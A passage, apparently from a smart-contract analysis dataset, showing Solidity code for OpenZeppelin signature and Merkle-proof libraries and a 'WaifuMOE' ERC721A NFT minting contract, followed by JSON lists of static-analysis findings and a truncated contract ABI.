bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ├╖ 2 + 1, and for v in (302): v Γêê {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// File @openzeppelin/contracts/utils/cryptography/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// File contracts/contract.sol
pragma solidity ^0.8.12;
contract MOE is ERC721A, Ownable {
using Strings for uint256;
enum MINT_STAGES { STOPPED, PRESALE, SALE }
uint256 public maxTokensPresale = 4;
uint256 public maxTokensPublic = 10;
uint256 public tokenPricePresale = 0.075 ether;
uint256 public tokenPricePublicSale = 0.075 ether;
string public tokenBaseURI = "";
string public unrevealedURI = "ipfs://QmYXEsJpP7SGZpSZnUw7cVD84U1MHf4V21bgxTS7jUwjWQ/";
string public URIExtension = ".json";
MINT_STAGES public mintStage = MINT_STAGES.STOPPED; // 0 stopped 1 presale 2 sale
uint256 public constant TEAM_LIMIT = 444;
uint256 public teamMintedAmount = 0;
uint256 public constant BUY_TOTAL_AMOUNT = 4444;
uint256 public boughtAmount = 0;
bytes32 public whitelistRoot;
mapping(address => uint256) public purchased;
constructor() ERC721A("WaifuMOE", "MOE") {
}
function _startTokenId() internal pure override(ERC721A) returns (uint256) {
return 1;
}
function hasPresaleStarted() private view returns (bool) {
return mintStage == MINT_STAGES.PRESALE;
}
function hasPublicSaleStarted() private view returns (bool) {
return mintStage == MINT_STAGES.SALE;
}
function tokenPrice() public view returns (uint256) {
if (mintStage == MINT_STAGES.SALE) {
return tokenPricePublicSale;
} else {
return tokenPricePresale;
}
}
function min(uint256 a, uint256 b) public pure returns (uint256) {
return a > b ? b : a;
}
function safeSubtract(uint256 a, uint256 b) public pure returns (uint256) {
if (a < b) {
return 0;
}
return a - b;
}
function getMaxTokensAllowed(address target, bytes32[] memory proof) public view returns (uint256) {
uint256 tokensAllowed = 0;
if (hasPublicSaleStarted()) {
if(verify(target, proof)) {
tokensAllowed = safeSubtract(maxTokensPresale + maxTokensPublic, purchased[target]);
} else {
tokensAllowed = safeSubtract(maxTokensPublic, purchased[target]);
}
} else if (hasPresaleStarted() && verify(target, proof)) {
tokensAllowed = safeSubtract(maxTokensPresale, purchased[target]);
}
uint256 publicSaleTokensLeft = safeSubtract(BUY_TOTAL_AMOUNT, boughtAmount);
tokensAllowed = min(tokensAllowed, publicSaleTokensLeft);
return tokensAllowed;
}
function getContractInfo(address target, bytes32[] memory proof) external view returns (
bool _hasPresaleStarted,
bool _hasPublicSaleStarted,
uint256 _maxTokensAllowed,
uint256 _tokenPrice,
uint256 _boughtAmount,
uint256 _purchasedAmount,
uint256 _presaleTotalLimit,
bytes32 _whitelistRoot
) {
_hasPresaleStarted = hasPresaleStarted();
_hasPublicSaleStarted = hasPublicSaleStarted();
_maxTokensAllowed = getMaxTokensAllowed(target, proof);
_tokenPrice = tokenPrice();
_boughtAmount = boughtAmount;
_presaleTotalLimit = maxTokensPresale;
_whitelistRoot = whitelistRoot;
_purchasedAmount = purchased[target];
}
function setWhitelistRoot(bytes32 _whitelistRoot) public onlyOwner {
whitelistRoot = _whitelistRoot;
}
function setTokenPricePresale(uint256 val) external onlyOwner {
tokenPricePresale = val;
}
function setTokenPricePublicSale(uint256 val) external onlyOwner {
tokenPricePublicSale = val;
}
function verify(address account, bytes32[] memory proof) public view returns (bool)
{
bytes32 leaf = keccak256(abi.encodePacked(account));
return MerkleProof.verify(proof, whitelistRoot, leaf);
}
function setMaxTokensPresale(uint256 val) external onlyOwner {
maxTokensPresale = val;
}
function setMaxTokensPublic(uint256 val) external onlyOwner{
maxTokensPublic = val;
}
function stopSale() external onlyOwner {
mintStage = MINT_STAGES.STOPPED;
}
function startPresale() external onlyOwner {
mintStage = MINT_STAGES.PRESALE;
}
function startPublicSale() external onlyOwner {
mintStage = MINT_STAGES.SALE;
}
function mintTeam(uint256 amount, address to) external onlyOwner {
require(teamMintedAmount + amount <= TEAM_LIMIT, "Minting more than the team limit");
_safeMint(to, amount);
teamMintedAmount += amount;
boughtAmount += amount;
}
function mint(uint256 amount, bytes32[] memory proof) external payable {
require(msg.value >= tokenPrice() * amount, "Incorrect ETH sent");
require(amount <= getMaxTokensAllowed(msg.sender, proof), "Cannot mint more than the max allowed tokens");
_safeMint(msg.sender, amount);
purchased[msg.sender] += amount;
boughtAmount += amount;
}
function _baseURI() internal view override(ERC721A) returns (string memory) {
return tokenBaseURI;
}
function tokenURI(uint256 tokenId) public view override(ERC721A) returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), URIExtension)) : unrevealedURI;
}
function setBaseURI(string calldata URI) external onlyOwner {
tokenBaseURI = URI;
}
function setUnrevealedURI(string calldata URI) external onlyOwner {
unrevealedURI = URI;
}
function setURIExtension(string calldata URI) external onlyOwner {
URIExtension = URI;
}
function withdraw() external onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
} | [{"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["466"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["1029", "1137", "1091"]}, {"defect": "Missing_return_statement", "type": "Code_specification", "severity": "Low", "lines": ["1176"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["1634"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["575", "553", "1032", "1324"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["848", "1298", "1309", "65", "1283", "259"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1775", "1774", "1785", "1697", "1783", "1087", "1088", "1133", "1132", "1026", "1025", "1095", "1142", "1032"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [1197, 1198, 1199]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [488, 489, 490, 491]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [1619, 1620, 1621, 1622, 1623, 1624]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [1408, 1409, 1410, 1411]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [1633]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [803, 804, 805, 806]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [335, 336, 337, 338, 339, 340]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [389, 390, 391, 392, 393, 394, 395]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [1432, 1433, 1434, 1435, 1436]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [459, 460, 461, 462, 463, 464, 465, 466, 467, 468]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [576, 577, 578, 579, 580, 581, 582, 571, 572, 573, 574, 575]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [449, 450, 451]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [1408, 1409, 1410, 1411, 1412, 1413, 1414, 1415, 1416, 1387, 1388, 1389, 1390, 1391, 1392, 1393, 1394, 1395, 1396, 1397, 1398, 1399, 1400, 1401, 1402, 1403, 1404, 1405, 1406, 1407]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362, 1363, 1364, 1365]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499, 1500, 1501, 1502, 1503, 1504, 1505]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [1530, 1531, 1532, 1533, 1534]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [795, 796, 797, 798]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [1544, 1545, 1546]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [1560, 1558, 1559]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [758, 759, 760, 761, 762, 763, 764]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [524, 525, 526]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [424, 422, 423]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452, 1453]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [787, 788, 789, 790]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [812, 813, 814, 815]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [370, 371, 372, 373, 374, 375, 376]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [1511, 1512, 1513, 1514, 1515, 1516, 1517, 1518, 1519, 1520]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [432, 433, 434, 435, 436, 437, 438, 439, 440, 441]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [884, 885, 886]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"MOE.sol": [360, 361, 362]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MOE.sol": [1792, 1793, 1794, 1795, 1796]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MOE.sol": [914, 915, 916, 917, 918, 919]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MOE.sol": [1305, 1306, 1307]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MOE.sol": [942, 943, 944, 945, 946, 947, 948]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MOE.sol": [896, 897, 898, 899, 900, 891, 892, 893, 894, 895]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MOE.sol": [747, 748, 749, 750, 751, 752, 753]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MOE.sol": [865, 866, 867]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MOE.sol": [779, 780, 781, 782]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MOE.sol": [1313, 1314, 1315, 1316]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MOE.sol": [931, 932, 933, 934, 935, 936, 937]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MOE.sol": [858, 859, 860]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"MOE.sol": [1732, 1733, 1734]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [1257]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [506]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [279]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [1336]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [607]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [217]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [1633]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [247]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [39]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [1569]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [9]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [185]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [535]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [439]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [412]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [466]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [338]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"MOE.sol": [1752]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"MOE.sol": [1737]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"MOE.sol": [1756]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"MOE.sol": [1785]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"MOE.sol": [1741]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"MOE.sol": [1775]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [719]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [1798]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [957]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [709]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [1732]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [1647]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [1637]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [706]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [1802]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"MOE.sol": [1806]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"MOE.sol": [1194]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"MOE.sol": [1192]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"MOE.sol": [1198]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"MOE.sol": [1409]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"MOE.sol": [1775]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"MOE.sol": [1783]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"MOE.sol": [1774]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"MOE.sol": [1048]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"MOE.sol": [1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 592, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1019, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1037, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1050, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1081, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1123, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1126, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1154, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1306, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1414, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1492, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1495, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1501, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1605, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 1618, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1605, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 835, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1732, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1736, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1740, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1751, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1755, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1798, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1802, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1806, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 9, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 39, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 185, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 217, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 247, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 279, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 506, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 535, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 607, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 639, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1257, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1336, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1569, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1633, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 541, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 712, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 715, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 722, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 725, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 728, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1272, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1042, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1356, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1358, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1360, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1362, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 1387, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 1618, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1387, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1449, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1481, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1712, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1811, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 524, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1197, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1397, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1408, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1619, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 335, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 730, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1279, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1659, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 335, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 335, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 336, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 336, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 336, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 336, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 338, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 338, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 338, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BUY_TOTAL_AMOUNT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TEAM_LIMIT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"URIExtension","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"